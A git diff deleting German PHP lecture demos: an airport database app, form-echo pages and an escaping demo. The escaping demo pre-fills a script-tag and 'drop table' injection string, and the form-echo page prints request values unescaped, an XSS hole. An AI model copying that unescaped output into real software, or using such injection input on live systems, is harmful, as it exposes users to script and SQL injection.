-            $Flughafen[$MyZielflughafen] = $MyLand;
-            $Record = $Recordset->fetch_assoc();
-        }
-        $Recordset->free();
-
-        return $Flughafen;
-    }
-
-    private function insert_tablerow(string $indent, string $entry1 = "", string $entry2 = "", string $entry3 = ""):void
-    {
-        echo $indent . "<tr>\n";
-        echo $indent . "\t<td>$entry1</td>\n";
-        echo $indent . "\t<td>$entry2</td>\n";
-        echo $indent . "\t<td>$entry3</td>\n";
-        echo $indent . "</tr>\n";
-    }
-
-    protected function generateView()
-    {
-        $Flughafen = $this->getViewData();
-
-        $this->generatePageHeader('Hinzufügen');
-        echo <<<HERE
-		<h1>Tabelle der Flughäfen:</h1>
-		<form action="Add.php" method="post">
-		<table>
-			<tr>
-				<th>Zielflughafen</th>
-				<th>Land</th>
-				<th>Zielflughafen (Land)</th>
-			</tr>
-
-HERE;
-
-        foreach ($Flughafen as $Zielflughafen => $Land) {
-            $Zielflughafen = htmlspecialchars($Zielflughafen);
-            $Land = htmlspecialchars($Land);
-            $this->insert_tablerow("\t\t\t", $Zielflughafen, $Land, $Zielflughafen . " (" . $Land . ")");
-        }
-        echo <<<HERE
-			<tr>
-				<td><input type="text" name="Zielflughafen" size="25" maxlength="50"/></td>
-				<td><input type="text" name="Land" size="25" maxlength="50"/></td>
-				<td><input type="submit" value="Hinzufügen"/></td>
-			</tr>
-		</table>
-		</form>
-
-HERE;
-        $this->generatePageFooter();
-    }
-
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-
-        // Aufruf prüfen:
-        if (isset($_POST["Zielflughafen"]) && isset($_POST["Land"])) {
-            // Aufruf durch Formular
-            $InZielflughafen = $_POST["Zielflughafen"];
-            $InLand = $_POST["Land"];
-            if (strlen($InZielflughafen) <= 0 || strlen($InLand) <= 0) {
-                throw new Exception("Bitte geben Sie in beiden Feldern etwas an!");
-            } else {
-                $sqlZielflughafen = $this->database->real_escape_string($InZielflughafen);
-                $sqlLand = $this->database->real_escape_string($InLand);
-
-                // Doppeleintrag verhindern:
-                $SQLabfrage = "SELECT * FROM zielflughafen WHERE " .
-                    "Zielflughafen = \"$sqlZielflughafen\" AND Land = \"$sqlLand\"";
-                $Recordset = $this->database->query($SQLabfrage);
-
-                if ($Recordset->num_rows > 0) {
-                    $Recordset->free();
-                    throw new Exception("Dieser Flughafen ist bereits eingetragen.");
-                } else { // also neu eintragen!
-                    $SQLabfrage = "INSERT INTO zielflughafen SET " .
-                        "Zielflughafen = \"$sqlZielflughafen\", Land = \"$sqlLand\"";
-                    $this->database->query($SQLabfrage);
-                }
-            }
-        }
-    }
-
-    public static function main():void
-    {
-        try {
-            $page = new Add();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/plain; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-Add::main();
diff --git a/src/Demos/PHP/Flughafen_Seitenklassen/Page.php b/src/Demos/PHP/Flughafen_Seitenklassen/Page.php
deleted file mode 100644
index ac88d7d26d510aab12d36676b2f3a429d9eed002..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_Seitenklassen/Page.php
+++ /dev/null
@@ -1,68 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-abstract class Page
-{
-    protected MySQLi $database;
-
-    protected function __construct()
-    {
-        // activate full error checking
-        error_reporting(E_ALL);
-
-        // open database
-        require_once 'pwd.php'; // read account data
-        $this->database = new MySQLi($host, $user, $pwd, $database);
-        // check connection to database
-        if ($this->database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->database->connect_errno);
-        }
-        // set character encoding to UTF-8
-        if (!$this->database->set_charset("utf8")) {
-            throw new Exception("Fehler beim Laden des Zeichensatzes UTF-8: " . $this->database->error);
-        }
-    }
-
-    public function __destruct()
-    {
-        $this->database->close();
-    }
-
-    protected function generatePageHeader(string $title = ''):void
-    {
-        $title = htmlspecialchars($title);
-
-        // define MIME type of response (*before* all HTML):
-        header("Content-type: text/html; charset=UTF-8");
-
-        // output HTML header
-        echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<meta charset="UTF-8"/>
-    <title>$title</title>
-	<style type="text/css">
-		th, td { background-color:white; padding:3px; }
-		table  { background-color:grey; }
-	</style>
-</head>
-<body>
-
-EOT;
-    }
-
-    protected function generatePageFooter():void
-    {
-        echo <<<EOT
-</body>
-</html>
-
-EOT;
-    }
-
-    protected function processReceivedData():void
-    {
-
-    }
-}
diff --git a/src/Demos/PHP/Flughafen_Seitenklassen/Result.php b/src/Demos/PHP/Flughafen_Seitenklassen/Result.php
deleted file mode 100644
index 683c73c830e78c388f3ea5c35550b7072ad0e495..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_Seitenklassen/Result.php
+++ /dev/null
@@ -1,103 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-require_once './Page.php';
-
-class Result extends Page
-{
-    private string $selectedCountry;
-
-    protected function __construct()
-    {
-        parent::__construct();
-        $this->selectedCountry = 'xxx';
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    protected function getViewData():array
-    {
-        // build SQL query from form parameters
-        $countries = array();
-        $this->selectedCountry = $this->database->real_escape_string($this->selectedCountry);
-        $sql = "SELECT * FROM zielflughafen WHERE Land = \"$this->selectedCountry\"";
-        $recordset = $this->database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-        }
-
-        // read selected records into result array
-        $record = $recordset->fetch_assoc();
-        while ($record) {
-            $airport = $record["Zielflughafen"];
-            $country = $record["Land"];
-            $countries[$airport] = $country;
-            $record = $recordset->fetch_assoc();
-        }
-        $recordset->free();
-        return $countries;
-    }
-
-    private function insert_tablerow(string $indent, string $entry1 = "", string $entry2 = "", string $entry3 = ""):void
-    {
-        echo $indent . "<tr>\n";
-        echo $indent . "\t<td>$entry1</td>\n";
-        echo $indent . "\t<td>$entry2</td>\n";
-        echo $indent . "\t<td>$entry3</td>\n";
-        echo $indent . "</tr>\n";
-    }
-
-    protected function generateView():void
-    {
-        $countries = $this->getViewData();    // vor der ersten HTML-Ausgabe
-
-        $this->generatePageHeader('Ergebnis');
-        echo <<<HERE
-		<h1>Ausgewählte Flughäfen:</h1>
-		<table>
-			<tr>
-				<th>Zielflughafen</th>
-				<th>Land</th>
-				<th>Zielflughafen (Land)</th>
-			</tr>
-
-HERE;
-        foreach ($countries as $airport => $country) {
-            $airport = htmlspecialchars($airport);
-            $country = htmlspecialchars($country);
-            $this->insert_tablerow("\t\t\t", $airport, $country, $airport . " (" . $country . ")");
-        }
-        echo <<<HERE
-		</table>
-		<p><input type="button" value="Neue Auswahl" 
-			onclick="window.location.href='Select.php'"/></p>
-
-HERE;
-        $this->generatePageFooter();
-    }
-
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-        if (isset($_POST["AuswahlLand"])) {
-            $this->selectedCountry = $_POST["AuswahlLand"];
-        }
-    }
-
-    public static function main():void
-    {
-        try {
-            $page = new Result();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/plain; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-Result::main();
diff --git a/src/Demos/PHP/Flughafen_Seitenklassen/Select.php b/src/Demos/PHP/Flughafen_Seitenklassen/Select.php
deleted file mode 100644
index 82a78ebefbd9f90f72ba231d13a5734f443c8bc2..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_Seitenklassen/Select.php
+++ /dev/null
@@ -1,96 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-require_once './Page.php';
-
-class Select extends Page
-{
-
-    protected function __construct()
-    {
-        parent::__construct();
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    protected function generateView():void
-    {
-        $this->generatePageHeader('Auswahl');
-        echo <<<HERE
-    <p>Bitte wählen Sie ein Land:</p>
-
-HERE;
-        $countries = $this->getViewData();
-        $numOfRecords = count($countries);
-
-        echo <<<EOT
-	<form id="Auswahl" action="Result.php" method="post">
-		<p>
-			<select name="AuswahlLand" size="$numOfRecords">
-
-EOT;
-
-        foreach ($countries as $country) {
-            $this->insert_option("\t\t", $country);
-        }
-        echo <<<EOT
-			</select>
-		</p>
-		<p><input type="submit" value="Flughäfen anzeigen"/></p>
-	</form>
-
-EOT;
-        echo <<<HERE
-	<p><input type="button" value="Flughafen einfügen"
-		onclick="window.location.href='Add.php'"/></p>
-
-HERE;
-        $this->generatePageFooter();
-    }
-
-    protected function getViewData():array
-    {
-        $sql = "SELECT Land FROM zielflughafen GROUP BY Land";
-
-        $recordset = $this->database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-        }
-        // read selected records into result array
-        $country = array();
-        $record = $recordset->fetch_assoc();
-        while ($record) {
-            $country[] = $record["Land"];
-            $record = $recordset->fetch_assoc();
-        }
-        $recordset->free();
-        return $country;
-    }
-
-    private function insert_option(string $indent, string $name):void
-    {
-        echo $indent . "<option>" . htmlspecialchars($name) . "</option>\n";
-    }
-
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-    }
-
-    public static function main():void
-    {
-        try {
-            $page = new Select();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/plain; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-Select::main();
diff --git a/src/Demos/PHP/Flughafen_Seitenklassen/pwd.php b/src/Demos/PHP/Flughafen_Seitenklassen/pwd.php
deleted file mode 100644
index d327bd4f331f86576f508076dfe35840f894474b..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_Seitenklassen/pwd.php
+++ /dev/null
@@ -1,11 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-$host = "localhost";
-/********************************************/
-// This code switches from the the local installation (XAMPP) to the docker installation 
-if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-	$host = "mariadb";
-}
-$database = "reisebuero";
-$user = "public";
-$pwd = "public";
diff --git a/src/Demos/PHP/Flughafen_unstrukturiert/Add.php b/src/Demos/PHP/Flughafen_unstrukturiert/Add.php
deleted file mode 100644
index 66f1ff436e4aed1a60dbf52864dac40e82b0c175..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_unstrukturiert/Add.php
+++ /dev/null
@@ -1,121 +0,0 @@
-<?php	// UTF-8 marker äöüÄÖÜ߀
-
-// Variante 3 (prozedural, gegliedert mit Formularauswertung)
-// 1. Auswertung übermittelter Daten in inkludiertem Skript
-// 2. Datenbankabfrage
-// 3. Abfrageergebnis in Array übertragen
-// 4. Helperfunktion definieren
-// 5. HTML-Ausgabe mit HEREDOC, Helperfunktion und Daten aus Array
-// 6. Ausnahmebehandlung mit ordentlicher Fehlerseite
-
-// Diese Seite wertet Eingaben von sich selbst aus und zeigt sich dann wieder an
-try { 
-	// MIME-Type der Antwort definieren (*vor* allem HTML):
-	header("Content-type: text/html; charset=UTF-8");
-	// alle möglichen Fehlermeldungen aktivieren:
-	error_reporting (E_ALL);
-
-	require_once 'AddProcess.php';
-
-	// Datenbank öffnen und abfragen:
-	require_once 'pwd.php'; // Passwort einlesen
-	$Connection = new MySQLi($host, $user, $pwd, "reisebuero");
-
-	// Verbindung prüfen:
-  if ($Connection->connect_errno) {
-    throw new Exception("Connect failed: ".$Connection->connect_errno);
-  }
-	if (!$Connection->set_charset("utf8"))
-		throw new Exception("Charset failed: ".$Connection->error);
-		
-	$SQLabfrage = "SELECT * FROM zielflughafen";
-	$Recordset = $Connection->query ($SQLabfrage);
-	if (!$Recordset){
-		throw new Exception("Kein Flughafen in der Datenbank");
-	}
-
-	$Flughafen = array();
-
-    // Benötigte Einträge für HTML-Ausgabe auslesen:
-    $Record = $Recordset->fetch_assoc();
-    while ($Record) {
-        $MyZielflughafen = htmlspecialchars($Record["Zielflughafen"], ENT_QUOTES);
-        $MyLand = htmlspecialchars($Record["Land"], ENT_QUOTES);
-        $Flughafen[$MyZielflughafen]=$MyLand;
-        $Record = $Recordset->fetch_assoc();
-    }
-    $Recordset->free();
-    $Connection->close();
-
-	// Helperfunktion:
-	function insert_tablerow($indent, $entry1="", $entry2="", $entry3=""){
-		echo $indent."<tr>\n";
-		echo $indent."\t<td>$entry1</td>\n";
-		echo $indent."\t<td>$entry2</td>\n";
-		echo $indent."\t<td>$entry3</td>\n";
-		echo $indent."</tr>\n";	
-	}
-
-} catch (Exception $fehler) {
-	// fängt die Exceptions ab und gibt sie formatiert als HTML-Seite aus
-	$Fehlermeldung=$fehler->getMessage();
-	echo <<<EOT
-<!DOCTYPE html>
-	<html lang="de">
-	<head>
-		<meta charset="UTF-8"/>
-		<title>Fehler</title>
-		<style type="text/css"></style>
-	</head>
-	<body>
-		<h3>$Fehlermeldung</h3>
-		<form action="Add.php" method="link">
-			<input type="submit" value="ok">
-		</form>
-	</body>
-	</html>
-EOT;
-	exit();
-}
-
-// Hier beginnt die HTML-Ausgabe:
-
-echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<meta charset="UTF-8"/>
-	<title>Hinzufügen</title>
-	<style type="text/css">
-		th, td { background-color:white; padding:3px; }
-		table  { background-color:grey; }
-	</style>
-</head>
-<body>
-	<h1>Tabelle der Flughäfen:</h1>
-	<form action="Add.php" method="post">
-	<table>
-		<tr>
-			<th>Zielflughafen</th>
-			<th>Land</th>
-			<th>Zielflughafen (Land)</th>
-		</tr>
-
-EOT;
-
-foreach($Flughafen as $Zielflughafen => $Land) {
-	insert_tablerow("\t\t", $Zielflughafen, $Land, $Zielflughafen." (".$Land.")");
-}
-echo <<<EOT
-		<tr>
-			<td><input type="text" name="Zielflughafen" size="25" maxlength="50"/></td>
-			<td><input type="text" name="Land" size="25" maxlength="50"/></td>
-			<td><input type="submit" value="Hinzufügen"/></td>
-		</tr>
-	</table>
-	</form>
-	<p><input type="button" value="Zur Ãœbersicht"
-		onclick="window.location.href='Select.php'"/></p>
-</body>
-</html>
-EOT;
diff --git a/src/Demos/PHP/Flughafen_unstrukturiert/AddProcess.php b/src/Demos/PHP/Flughafen_unstrukturiert/AddProcess.php
deleted file mode 100644
index f77e33219d7fde36920c713d7def92bd016754c3..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_unstrukturiert/AddProcess.php
+++ /dev/null
@@ -1,47 +0,0 @@
-<?php	// UTF-8 marker äöüÄÖÜ߀
-
-// Aufruf prüfen:
-if (isset($_POST["Zielflughafen"]) && isset($_POST["Land"])) {
-
-	$InZielflughafen = "";
-	$InLand = "";
-
-	// Datenbank öffnen und abfragen:
-	require_once 'pwd.php'; // Passwort einlesen
-	$Connection = new MySQLi($host, $user, $pwd, "reisebuero");
-
-	// Verbindung prüfen:
-  if ($Connection->connect_errno) {
-    throw new Exception("Connect failed: ".$Connection->connect_errno);
-  }
-	if (!$Connection->set_charset("utf8"))
-		throw new Exception("Charset failed: ".$Connection->error);
-	
-	// Aufruf durch Formular:
-	$InZielflughafen = $_POST["Zielflughafen"];
-	$InLand = $_POST["Land"];
-	if (strlen($InZielflughafen)<=0 || strlen($InLand)<=0)
-		throw new Exception("Bitte geben Sie in beiden Feldern etwas an!");
-	else {
-		$sqlZielflughafen=$Connection->real_escape_string($InZielflughafen);
-		$sqlLand = $Connection->real_escape_string($InLand);
-		
-		// Doppeleintrag verhindern:
-		$SQLabfrage = 
-			"SELECT * FROM zielflughafen ".
-			"WHERE Zielflughafen = \"$sqlZielflughafen\" AND Land = \"$sqlLand\"";
-		$Recordset = $Connection->query ($SQLabfrage);
-
-		if ($Recordset->num_rows>0){
-            $Recordset->free();
-			throw new Exception("Dieser Flughafen ist bereits eingetragen.");
-		}
-		else { // neu eintragen
-			$SQLabfrage = 
-				"INSERT INTO zielflughafen ".
-				"SET Zielflughafen = \"$sqlZielflughafen\", Land = \"$sqlLand\"";
-			$Recordset = $Connection->query ($SQLabfrage);
-		}
-	}
-	$Connection->close();
-}
\ No newline at end of file
diff --git a/src/Demos/PHP/Flughafen_unstrukturiert/Result.php b/src/Demos/PHP/Flughafen_unstrukturiert/Result.php
deleted file mode 100644
index 3af18a504d336d5a8e53105993b84ddf617f96ce..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_unstrukturiert/Result.php
+++ /dev/null
@@ -1,99 +0,0 @@
-<?php	// UTF-8 marker äöüÄÖÜ߀
-
-// Variante 2 (prozedural, gegliedert)
-// 1. Datenbankabfrage
-// 2. Abfrageergebnis in Array übertragen
-// 3. Helperfunktion definieren
-// 4. HTML-Ausgabe mit HEREDOC, Helperfunktion und Daten aus Array
-// 5. Ausnahmebehandlung, aber ohne ordentliche Fehlerseite
-
-try {
-	// MIME-Type der Antwort definieren (*vor* allem HTML):
-	header("Content-type: text/html; charset=UTF-8");
-	// alle möglichen Fehlermeldungen aktivieren:
-	error_reporting (E_ALL);
-
-	// Datenbank öffnen:
-	require_once 'pwd.php'; // Passwort einlesen
-	$Connection = new MySQLi($host, $user, $pwd, "reisebuero");
-
-	// Verbindung prüfen:
-  if ($Connection->connect_errno) {
-    throw new Exception("Connect failed: ".$Connection->connect_errno);
-  }
-	if (!$Connection->set_charset("utf8"))
-		throw new Exception("Charset failed: ".$Connection->error);
-	
-	// SQL-Abfrage aus Formulardaten bestimmen:
-	$Auswahl = "";
-	$SQLabfrage = "SELECT * FROM zielflughafen WHERE Land = \"xxx\";";
-	if (isset($_POST["AuswahlLand"])){
-		$MyLand=$Connection->real_escape_string($_POST["AuswahlLand"]);		
-		$SQLabfrage = "SELECT * FROM zielflughafen WHERE Land = \"".$MyLand."\"";
-	}
-		
-	// Datenbank abfragen:
-	$Recordset = $Connection->query ($SQLabfrage);
-
-	// Einträge für HTML-Ausgabe anlegen:
-	$Flughafen = array();
-		
-	if ($Recordset){
-		// Benötigte Einträge für HTML-Ausgabe auslesen:
-		$Record = $Recordset->fetch_assoc();
-		while ($Record) {
-			$MyZielflughafen = htmlspecialchars($Record["Zielflughafen"], ENT_QUOTES);
-			$MyLand = htmlspecialchars($Record["Land"], ENT_QUOTES);
-			$Flughafen[$MyZielflughafen]=$MyLand;
-			$Record = $Recordset->fetch_assoc();
-		}
-		$Recordset->free();
-	}
-	$Connection->close();
-
-	// Helperfunktion:
-	function insert_tablerow($indent, $entry1="", $entry2="", $entry3=""){
-		echo $indent."<tr>\n";
-		echo $indent."\t<td>$entry1</td>\n";
-		echo $indent."\t<td>$entry2</td>\n";
-		echo $indent."\t<td>$entry3</td>\n";
-		echo $indent."</tr>\n";	
-	}
-
-	// Hier beginnt die HTML-Ausgabe:
-
-	echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">
-	<head>
-		<meta charset="UTF-8"/>
-		<title>Ergebnis</title>
-		<style type="text/css">
-			th, td { background-color:white; padding:3px; }
-			table  { background-color:grey; }
-		</style>
-	</head>
-	<body>
-		<h1>Ausgewählte Flughäfen:</h1>
-		<table>
-			<tr>
-				<th>Zielflughafen</th>
-				<th>Land</th>
-				<th>Zielflughafen (Land)</th>
-			</tr>
-
-EOT;
-
-	foreach($Flughafen as $Zielflughafen => $Land) {
-		insert_tablerow("\t\t\t", $Zielflughafen, $Land, $Zielflughafen." (".$Land.")");
-	}
-	echo <<<EOT
-		</table>
-		<p><input type="button" value="Neue Auswahl"
-			onclick="window.location.href='Select.php'"/></p>
-	</body>
-</html>
-EOT;
-} catch (Exception $e) {
-	echo $e->getMessage();
-}
diff --git a/src/Demos/PHP/Flughafen_unstrukturiert/Select.php b/src/Demos/PHP/Flughafen_unstrukturiert/Select.php
deleted file mode 100644
index 6233b813fe04706b405635da68f41dbc9490ef78..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_unstrukturiert/Select.php
+++ /dev/null
@@ -1,63 +0,0 @@
-<?php	// UTF-8 marker äöüÄÖÜ߀
-
-// Variante 1 (prozedural, sehr unstrukturiert)
-// PHP, HTML und SQL stark vermischt
-
-try {
-	// MIME-Type der Antwort definieren (*vor* allem HTML):
-	header("Content-type: text/html; charset=UTF-8");
-	// alle möglichen Fehlermeldungen aktivieren:
-	error_reporting (E_ALL);
-
-	// Datenbank öffnen und abfragen:
-	require_once 'pwd.php'; // Passwort & Co. einlesen
-	$Connection = new MySQLi($host, $user, $pwd, "reisebuero");
-
-	// Verbindung prüfen:
-  if ($Connection->connect_errno) {
-    throw new Exception("Connect failed: ".$Connection->connect_errno);
-  }
-	if (!$Connection->set_charset("utf8"))
-		throw new Exception("Charset failed: ".$Connection->error);
-
-	// SQL-Abfrage festlegen:
-	$SQLabfrage = "SELECT Land FROM zielflughafen GROUP BY Land";
-
-	$Recordset = $Connection->query ($SQLabfrage);
-	if (!$Recordset)
-		throw new Exception("Query failed: ".$Connection->error);
-
-?>
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<meta charset="UTF-8"/>
-	<title>Auswahl</title>
-</head>
-<body>
-	<p>Bitte wählen Sie ein Land:</p>
-	<form id="Auswahl" action="Result.php" method="post">
-<?php
-	$AnzahlRecords = $Recordset->num_rows;
-	echo ("\t\t<p><select name=\"AuswahlLand\" size=\"$AnzahlRecords\">\n");
-
-	$Record = $Recordset->fetch_assoc();
-	while ($Record) {
-		echo ("\t\t\t<option>".htmlspecialchars($Record["Land"])."</option>\n");
-		$Record = $Recordset->fetch_assoc();
-	}
-	$Recordset->free();
-	$Connection->close();
-
-	echo ("\t\t</select></p>\n");
-?>
-		<p><input type="submit" value="Flughäfen anzeigen"/></p>
-	</form>
-	<p><input type="button" value="Flughafen einfügen"
-		onclick="window.location.href='Add.php'"/></p>
-</body>
-</html>
-<?php
-} catch (Exception $e) {
-	echo $e->getMessage();
-}
diff --git a/src/Demos/PHP/Flughafen_unstrukturiert/pwd.php b/src/Demos/PHP/Flughafen_unstrukturiert/pwd.php
deleted file mode 100644
index a9a8cf955911483a63ad444e055a574829cb5c5a..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Flughafen_unstrukturiert/pwd.php
+++ /dev/null
@@ -1,4 +0,0 @@
-<?php	// UTF-8 marker äöüÄÖÜ߀
-$host="mariadb";
-$user="public";
-$pwd="public";
diff --git a/src/Demos/PHP/PHP_DemoEscape.php b/src/Demos/PHP/PHP_DemoEscape.php
deleted file mode 100644
index d8181597d88fc0705af8c57f4dfb5ec9b25b54a5..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP_DemoEscape.php
+++ /dev/null
@@ -1,157 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class DemoEscape for the demo of htmlspecialchars and real_escape_string of the EWA lecture
- */
-
-class DemoEscape
-{
-    private string $demotext="";
-
-    protected MySQLi $_database;
-
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-
-        $host = "mariadb";
-        $this->_database = new MySQLi($host, "public", "public", "SQL_Injection"); //NOSONAR ignore hardcoded password
-
-        if ($this->_database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->_database->connect_errno);
-        }
-
-        // set charset to UTF8!!
-        if (!$this->_database->set_charset("utf8")) {
-            throw new Exception($this->_database->error);
-        }
-    }
-
-    public function __destruct()
-    {
-        $this->_database->close();
-    }
-
-    protected function getViewData():array
-    {
-        return array();
-    }
-
-    protected function generateView():void
-    {
-        $data = $this->getViewData(); // NOSONAR ignore unused $data
-        $this->generatePageHeader('Demo von htmlspecialchars und real_escape_string');
-        ($this->demotext === "") ? $this->generateForm() : $this->printFunctionUsage();
-        $this->generatePageFooter();
-    }
-
-
-    /**
-     * Outputs the end of the HTML-file i.e. </body> etc.
-     * @return void
-     */
-    protected function generatePageFooter(): void
-    {
-        echo "</body></html>";
-    }
-
-    /**
-     * Generates the header section of the page.
-     * i.e. starting from the content type up to the body-tag.
-     * Takes care that all strings passed from outside
-     * are converted to safe HTML by htmlspecialchars.
-     *
-     * @param $title $title is the text to be used as title of the page
-     * @return void
-     */
-    protected function generatePageHeader(string $title = "", string $jsFile = "", bool $autoreload = false): void
-    {
-        $title = htmlspecialchars($title);
-        // define MIME type of response (*before* all HTML):
-        header("Content-type: text/html; charset=UTF-8");
-        $js = ($jsFile === "") ? "" : "<script src='{$jsFile}'> </script>";
-        $refresh = ($autoreload) ? '<meta http-equiv="refresh" content="5" />' : "";
-        // output HTML header
-        echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<meta charset="UTF-8"/>
-    <title>$title</title>
-    $js
-    $refresh
-</head>
-<body>
-
-EOT;
-    }
-
-    private function printFunctionUsage():void
-    {
-        $text = $this->demotext;
-        $specialchars = htmlspecialchars($this->demotext);
-        $entities = htmlentities($this->demotext);
-        $realescape = $this->_database->real_escape_string($this->demotext);
-
-        echo "<h1>Was bewirken eigentlich htmlspecialchars, real_escape_string & Co.?</h1>";
-
-        //Es braucht Klimmzüge, um das ordentlich auszugeben, besser einfach debuggen!?
-
-        $this->print_to_html($text, "Originaltext");
-
-        $this->print_to_html($specialchars, "SpecialChars");
-
-        $this->print_to_html($entities, "HTMLEntities");
-
-        $this->print_to_html($realescape, "RealEscape");
-
-        $this->generateForm();
-    }
-
-    private function generateForm():void
-    {
-        echo <<<FORM
-            <form method="get" action="PHP_DemoEscape.php" accept-charset="UTF-8">
-                <input type="text" name="demotext" aria-label="Demostring" value="öngstlich mit ; und <script> und ';drop table" size="50" />
-                <input type="submit" value="submit" />
-            </form>
-FORM;
-
-    }
-
-    protected function processReceivedData():void
-    {
-        if (isset($_GET["demotext"])){
-            $this->demotext = $_GET["demotext"];
-        }
-    }
-
-function print_to_html($data, $context = 'Debug in Console') {
-    $text = $context . ": " . $data;
-    $text = htmlentities($text);
-    $html = "<p>$text</p>";
-    echo $html;
-}
-
-    public static function main():void
-    {
-        try {
-            $page = new DemoEscape();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-DemoEscape::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends).
-// Not specifying the closing ? >  helps to prevent accidents
-// like additional whitespace which will cause session
-// initialization to fail ("headers already sent").
-//? >
\ No newline at end of file
diff --git a/src/Demos/PHP/PHP_Formular_Echo.php b/src/Demos/PHP/PHP_Formular_Echo.php
deleted file mode 100644
index 6a61b294c4c0439459a2f5e9682e5f708ea5bd52..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP_Formular_Echo.php
+++ /dev/null
@@ -1,86 +0,0 @@
-<?php
-// MIME-Type der Antwort definieren (*vor* allem HTML):
-header("Content-type: text/html");
-// alle möglichen Fehlermeldungen aktivieren:
-error_reporting(E_ALL);
-?>
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Formular Echo</title>
-</head>
-<body>
-<h2>Formular Echo</h2>
-<h3>Namentlich bekannte Elemente aus dem Formular</h3>
-<?php
-
-//phpinfo();
-
-// Variante 1 (unsicher):
-echo "<h4>unsicher via register_globals</h4>";
-// wenn der Name eines Formularelements bekannt ist, 
-// kann man direkt darauf zugreifen.
-// PHP legt eine gleichnamige Variable an wenn 
-// "register_globals = On" in php.ini gesetzt ist.
-// Sicherheitsrisiko durch Umsetzung eines 
-// evtl. fehlerhaften Elementnamens in eine Variable.
-echo "<pre>";
-if (isset($Anwendername)) {    // prüft, ob die Variable existiert
-    echo "Anwendername=$Anwendername\n";
-}
-if (isset($KommentarText)) {
-    echo "KommentarText=$KommentarText\n";
-}
-echo "</pre>";
-
-
-// Variante 2 (sicher mit "register_globals = Off"):
-echo "<h4>sicher via assoziative Arrays</h4>";
-// die assoziativen Arrays $_GET bzw. $_POST werden von PHP 
-// mit Namen und Werten aller Formularelemente gefüllt.
-// Man kann direkt darauf zugreifen oder sie auch
-// mit foreach abarbeiten:
-
-foreach ($_GET as $key => $value) {
-    if (!is_array($value)) {
-        echo "$key=$value\n";
-    } else {
-        print "$key";
-        print ": ";
-        print_r($value);
-    }
-}
-echo "<h4>Ende der Ausgabe über assoziative Arrays</h4>";
-echo "<pre>";
-
-if ($_SERVER["REQUEST_METHOD"] == "GET") {
-    $Params = $_GET;
-    echo "(mit GET übermittelt)\n";
-} else if ($_SERVER["REQUEST_METHOD"] == "POST") {
-    $Params = $_POST;
-    echo "(mit POST übermittelt)\n";
-}
-if (isset($Params["Anwendername"])) {
-    echo "Anwendername=" . $Params["Anwendername"] . "\n";
-}
-if (isset($Params["KommentarText"])) {
-    echo "KommentarText=" . $Params["KommentarText"] . "\n";
-}
-echo "</pre>";
-?>
-<h3>Alle Elemente aus dem Formular</h3>
-<pre>
-<?php
-foreach ($Params as $key => $value) {
-    if (!is_array($value)) {
-        echo "$key=$value\n";
-    } else {
-        print_r($Params);
-    }
-}
-
-?>
-		</pre>
-</body>
-</html>
diff --git a/src/Demos/PHP/PHP_Formular_Multiselect.html b/src/Demos/PHP/PHP_Formular_Multiselect.html
deleted file mode 100644
index c92782bb9463e2c24c171658e2974a6d5f3bce53..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP_Formular_Multiselect.html
+++ /dev/null
@@ -1,47 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Testformular</title>
-    <style type="text/css">
-        <!--
-        form {
-            background-color: rgb(192, 192, 192);
-            padding: 10px;
-            margin: 20px;
-        }
-
-        -->
-    </style>
-</head>
-<body>
-<h2>Testformulare für PHP</h2>
-
